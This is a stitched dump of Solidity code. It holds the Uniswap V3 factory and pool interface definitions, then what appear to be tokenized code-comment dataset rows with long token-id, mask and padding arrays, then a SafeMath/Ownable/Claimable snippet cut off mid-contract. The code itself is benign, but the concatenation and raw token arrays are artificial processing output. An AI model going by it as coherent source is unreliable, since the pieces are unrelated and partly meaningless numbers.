/// @title The interface for the Uniswap V3 Factory
/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees
interface IUniswapV3Factory {
/// @notice Emitted when the owner of the factory is changed
/// @param oldOwner The owner before the owner was changed
/// @param newOwner The owner after the owner was changed
event OwnerChanged(address indexed oldOwner, address indexed newOwner);
/// @notice Emitted when a pool is created
/// @param token0 The first token of the pool by address sort order
/// @param token1 The second token of the pool by address sort order
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks
/// @param pool The address of the created pool
event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed fee,
int24 tickSpacing,
address pool
);
/// @notice Emitted when a new fee amount is enabled for pool creation via the factory
/// @param fee The enabled fee, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);
/// @notice Returns the current owner of the factory
/// @dev Can be changed by the current owner via setOwner
/// @return The address of the factory owner
function owner() external view returns (address);
/// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
/// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
/// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
/// @return The tick spacing
function feeAmountTickSpacing(uint24 fee) external view returns (int24);
/// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
/// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
/// @param tokenA The contract address of either token0 or token1
/// @param tokenB The contract address of the other token
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @return pool The pool address
function getPool(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address pool);
/// @notice Creates a pool for the given two tokens and fee
/// @param tokenA One of the two tokens in the desired pool
/// @param tokenB The other of the two tokens in the desired pool
/// @param fee The desired fee for the pool
/// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
/// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
/// are invalid.
/// @return pool The address of the newly created pool
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
/// @notice Updates the owner of the factory
/// @dev Must be called by the current owner
/// @param _owner The new owner of the factory
function setOwner(address _owner) external;
/// @notice Enables a fee amount with the given tickSpacing
/// @dev Fee amounts may never be removed once enabled
/// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
/// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
| expected to be balanceOf(msg.sender)
| uint256 liquidityToMigrate; | 2,500,422 | [
1,
3825,
358,
506,
11013,
951,
12,
3576,
18,
15330,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
4501,
372,
24237,
774,
19594,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x671a9088aed9A2d0092732bD5C5D114c524B4F49/sources/FairPlay.sol | set as marketing wallet
| marketingWallet = address(0x820bBd7b083345F016EdCb6c322B6174E2cef38a); | 9,318,351 | [
1,
542,
487,
13667,
310,
9230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
13667,
310,
16936,
273,
1758,
12,
20,
92,
28,
3462,
70,
38,
72,
27,
70,
6840,
3707,
7950,
42,
24171,
2671,
15237,
26,
71,
1578,
22,
38,
26,
28686,
41,
22,
311,
74,
7414,
69,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
